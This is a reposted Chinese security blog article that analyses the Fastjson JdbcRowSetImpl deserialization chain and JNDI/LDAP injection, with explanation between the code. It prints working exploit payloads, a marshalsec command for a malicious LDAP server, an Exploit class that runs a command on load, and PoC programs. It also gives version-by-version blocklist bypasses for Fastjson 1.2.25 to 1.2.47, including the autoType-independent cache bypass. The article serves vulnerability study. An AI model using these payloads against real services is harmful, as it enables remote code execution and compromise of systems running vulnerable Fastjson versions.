Java安全之FastJson JdbcRowSetImpl 鏈分析


Java安全之FastJson JdbcRowSetImpl 鏈分析

0x00 前言

續上文的Fastjson TemplatesImpl鏈分析,接着來學習JdbcRowSetImpl 利用鏈,JdbcRowSetImpl 的利用鏈在實際運用中較為廣泛,這個鏈基本沒啥限制條件,只需要Json.parse(input)即可進行命令執行。

0x01 漏洞分析

利用限制

首先來說說限制,基於JNDI+RMI或JDNI+LADP進行攻擊,會有一定的JDK版本限制。

RMI利用的JDK版本≤ JDK 6u132、7u122、8u113

LADP利用JDK版本≤ 6u211 、7u201、8u191

攻擊流程

  1. 首先是這個lookup(URI)參數可控
  2. 攻擊者控制URI參數為指定為惡意的一個RMI服務
  3. 攻擊者RMI服務器向目標返回一個Reference對象,Reference對象中指定某個精心構造的Factory類;
  4. 目標在進行lookup()操作時,會動態加載並實例化Factory類,接着調用factory.getObjectInstance()獲取外部遠程對象實例;
  5. 攻擊者可以在Factory類文件的靜態代碼塊處寫入惡意代碼,達到RCE的效果;

JDNI注入細節

簡單分析一下lookup參數可控后,如何走到RCE.

調用鏈:

  • -> RegistryContext.decodeObject()
  • -> NamingManager.getObjectInstance()
  • -> factory.getObjectInstance()
  • -> NamingManager.getObjectFactoryFromReference()
  • -> helper.loadClass(factoryName);

loadclass進行實例化,觸發靜態代碼塊的Runtime代碼執行命令執行。

調試分析

影響版本:fastjson <= 1.2.24

payload:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

從前文的TemplatesImpl鏈分析中得知FastJson在反序列化時會去調用get、set、is方法。

  • @type:目標反序列化類名;
  • dataSourceName:RMI注冊中心綁定惡意服務;
  • autoCommit:在Fastjson JdbcRowSetImpl鏈中反序列化時,會去調用setAutoCommit方法。

詳細分析fastjson如何解析可查看Fastjson TemplatesImpl鏈分析文章,再次不做贅訴。

啟動LDAP服務端

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:80/#Exploit 1389

Exploit代碼,需將代碼編譯成class文件然后掛在到web中

import java.io.IOException;

public class Exploit {
    public Exploit() {
    }
    static {
        try {
           
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

POC代碼:

package com.nice0e3;

import com.alibaba.fastjson.JSON;

public class POC {
    public static void main(String[] args) {
//               String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";
        String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
        JSON.parse(PoC);
    }

}

看到payload中的dataSourceName參數在解析時候則會調用setDataSourceNameDataSourceNamece變量進行賦值,來看到代碼

autoCommit也一樣會調用setAutoCommit

setAutoCommit方法調用this.connect();

lookup中則是傳入了this.getDataSourceName(),返回dataSource變量內容。而這個dataSource內容則是在前面setDataSourceName方法中進行設置的,該參數是可控的。所以可以進行JDNI注入從而達到命令執行。

利用鏈

  • -> JdbcRowSetImpl.execute()
  • -> JdbcRowSetImpl.prepare()
  • -> JdbcRowSetImpl.connect()
  • -> InitialContext.lookup(dataSource)

而在Fastjson JdbcRowSetImpl 鏈利用中,則是利用了后半段。

0x02 繞過方式

1.2.25版本修復

先將Fastjson組件升級到1.2.25版本后進行發送payload,查看是否能夠利用成功。

修復改動:

  1. 自從1.2.25 起 autotype 默認為False
  2. 增加 checkAutoType 方法,在該方法中進行黑名單校驗,同時增加白名單機制

Fastjson AutoType說明

根據官方文檔開啟AutoType的方式,假設不開啟該功能是無法進行反序列化的。因為默認白名單是空的,需要自定義。白名單的繞過基本不可能,都是從黑名單作為入口。白名單需要添加,而黑名單中則是內置在Fastjson中。

1、JVM啟動參數

-Dfastjson.parser.autoTypeSupport=true

2、代碼中設置

ParserConfig.getGlobalInstance().setAutoTypeSupport(true); 

下面來看代碼,這里使用了IDEA中的jar包對比功能

可以看到DefaultJSONParser發送了變動,在這里多了一個checkAutoType方法去做校驗。

跟進方法查看

前面會進行白名單的校驗,如果匹配中的話調用loadClass加載,返回一個Class對象。 這里默認白名單的列表為空。

后面這則是會惡意類的黑名單進行匹配,如果加載類的前面包含黑名單所定義的字符則拋出異常。

1.2.25-1.2.41 繞過

package com.nice0e3;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class POC {
    public static void main(String[] args) {
    //ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
        JSON.parse(PoC);
    }
}

先來調試不開啟的情況,前面依舊就會遍歷黑名單對class進行賦值,但最后這個會去檢測如果未開啟,則直接拋異常,開啟則會去返回。

將注釋打開后,則直接返回class

命令執行成功。但是可以看到前面的class是Lcom.sun.rowset.JdbcRowSetImpl為什么也會觸發命令執行?

原因在於com.alibaba.fastjson.parser#TypeUtils.loadClass(typeName, this.defaultClassLoader);方法中,可跟進查看。

這里解析到內容如果為L開頭,;結尾的話就會將這2個字符清空,前面其實還有一個[

1.2.42 修復方式

修復改動:明文黑名單改為HASH值,checkcheckAutoType方法添加L;字符過濾。

加密方法位於com.alibaba.fastjson.util.TypeUtils#fnv1a_64可將進行碰撞獲取值。

1.2.42繞過方式

package com.nice0e3;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class POC {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

        String PoC = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
        JSON.parse(PoC);
    }

}

com.alibaba.fastjson.parser#checkcheckAutoType中將L;進行清空。這里是利用了雙寫的方式,前面的規則將第一組L;,進行清空,而在TypeUtils.loadclass中將第二組內容清空。

1.2.43 修復方式

在1.2.43版本中對了LL開頭的繞過進行了封堵

//hash計算基礎參數            long BASIC = -3750763034362895579L;            long PRIME = 1099511628211L;            //L開頭,;結尾            if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {                //LL開頭                if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {                                      throw new JSONException("autoType is not support. " + typeName);                }                className = className.substring(1, className.length() - 1);            }

再次執行poc代碼可以看到報錯了。

Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. LLcom.sun.rowset.JdbcRowSetImpl;;	at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:914)	at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:311)	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338)	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304)	at com.alibaba.fastjson.JSON.parse(JSON.java:152)	at com.alibaba.fastjson.JSON.parse(JSON.java:162)	at com.alibaba.fastjson.JSON.parse(JSON.java:131)	at com.nice0e3.POC.main(POC.java:12)

1.2.43 繞過方式

前面可以看到[也進行了清空,可以從該地方進行入手。

public class POC {    public static void main(String[] args) {        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);        String PoC = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[, \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";        JSON.parse(PoC);    }}

執行報錯了,報錯信息如下:

Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 44, fastjson-version 1.2.43	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:451)	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:1261)	at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown Source)	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:267)	at com.alibaba.fastjson.parser.DefaultJSONParser.parseArray(DefaultJSONParser.java:729)	at com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze(ObjectArrayCodec.java:183)	at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:373)	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338)	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304)	at com.alibaba.fastjson.JSON.parse(JSON.java:152)	at com.alibaba.fastjson.JSON.parse(JSON.java:162)	at com.alibaba.fastjson.JSON.parse(JSON.java:131)	at com.nice0e3.POC.main(POC.java:12)

提示缺少了一個{

public class POC {    public static void main(String[] args) {        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);        String PoC = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{, \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";        JSON.parse(PoC);    }}

1.2.44 修復方式

[進行限制,具體實現可自行查看。

再次執行前面的poc代碼可以看到報錯了。

1.2.45繞過方式

利用條件需要目標服務端存在mybatis的jar包,且版本需為3.x.x系列<3.5.0的版本。

public class POC {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

        String PoC = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://127.0.0.1:1389/Exploit\"}}";
        JSON.parse(PoC);
    }

}

下面來分析一下使用這個payload為什么能繞過。其實是借助了org.apache.ibatis.datasource.jndi.JndiDataSourceFactory進行繞過,org.apache.ibatis.datasource.jndi.JndiDataSourceFactory並不在黑名單中。

這里是對反序列化后的對象是org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

傳入properties參數,則會去自動調用setProperties

而在1.2.46無法執行成功,應該是對該類拉入了黑名單中。

1.2.25-1.2.47通殺

為什么說這里標注為通殺呢,其實這里和前面的繞過方式不太一樣,這里是可以直接繞過AutoTypeSupport,即便關閉AutoTypeSupport也能直接執行成功。

先來看payload

public class POC {    public static void main(String[] args) {              String PoC = "{\n" +                "    \"a\":{\n" +                "        \"@type\":\"java.lang.Class\",\n" +                "        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +                "    },\n" +                "    \"b\":{\n" +                "        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +                "        \"dataSourceName\":\"ldap://localhost:1389/badNameClass\",\n" +                "        \"autoCommit\":true\n" +                "    }\n" +                "}";        JSON.parse(PoC);    }}

可以看到payload和前面的payload構造不太一樣,這里來分析一下。

這里未開啟AutoTypeSupport不會走到下面的黑白名單判斷。

fastjson會使用 checkAutoType 方法來檢測@type中攜帶的類,但這次我們傳入的是一個java.lang.class

來看到com.alibaba.fastjson.parser.DefaultJSONParser.class#parseObject方法中

跟進deserialze方法查看,這里的deserialzeMiscCodec#deserialze

上面代碼會從objVal = parser.parse();獲取內容為com.sun.rowset.JdbcRowSetImpl。來看到下面

if (clazz == Class.class) {    return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());}

這里使用了TypeUtils.loadClass函數加載了strVal,也就是JdbcRowSetlmpl,跟進發現會將其緩存在map中。

這里的true參數代表開啟緩存,如果開啟將惡意類存儲到mapping中

斷點來到com.alibaba.fastjson.parser.DefaultJSONParser#checkAutoType

因為前面將com.sun.rowset.JdbcRowSetImpl所以這里能獲取到com.sun.rowset.JdbcRowSetImpl該判斷不為true,從而繞過黑名單。

而后續則是和前面的一樣,通過dataSourceName觸發對於的set方法將dataSourceName變量進行設置,而后通過autoCommit,觸發setAutoCommit觸發lookup()達到命令執行。

參考文章

https://xz.aliyun.com/t/9052

https://xz.aliyun.com/t/7027

https://kingx.me/Exploit-Java-Deserialization-with-RMI.html

http://wjlshare.com/archives/1526

0x03 結尾

其實后面還有幾個繞過的方式后面再去做分析,除此外還有一些BCEL來解決fastjson不出網回顯等方面都值得去思考和研究。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM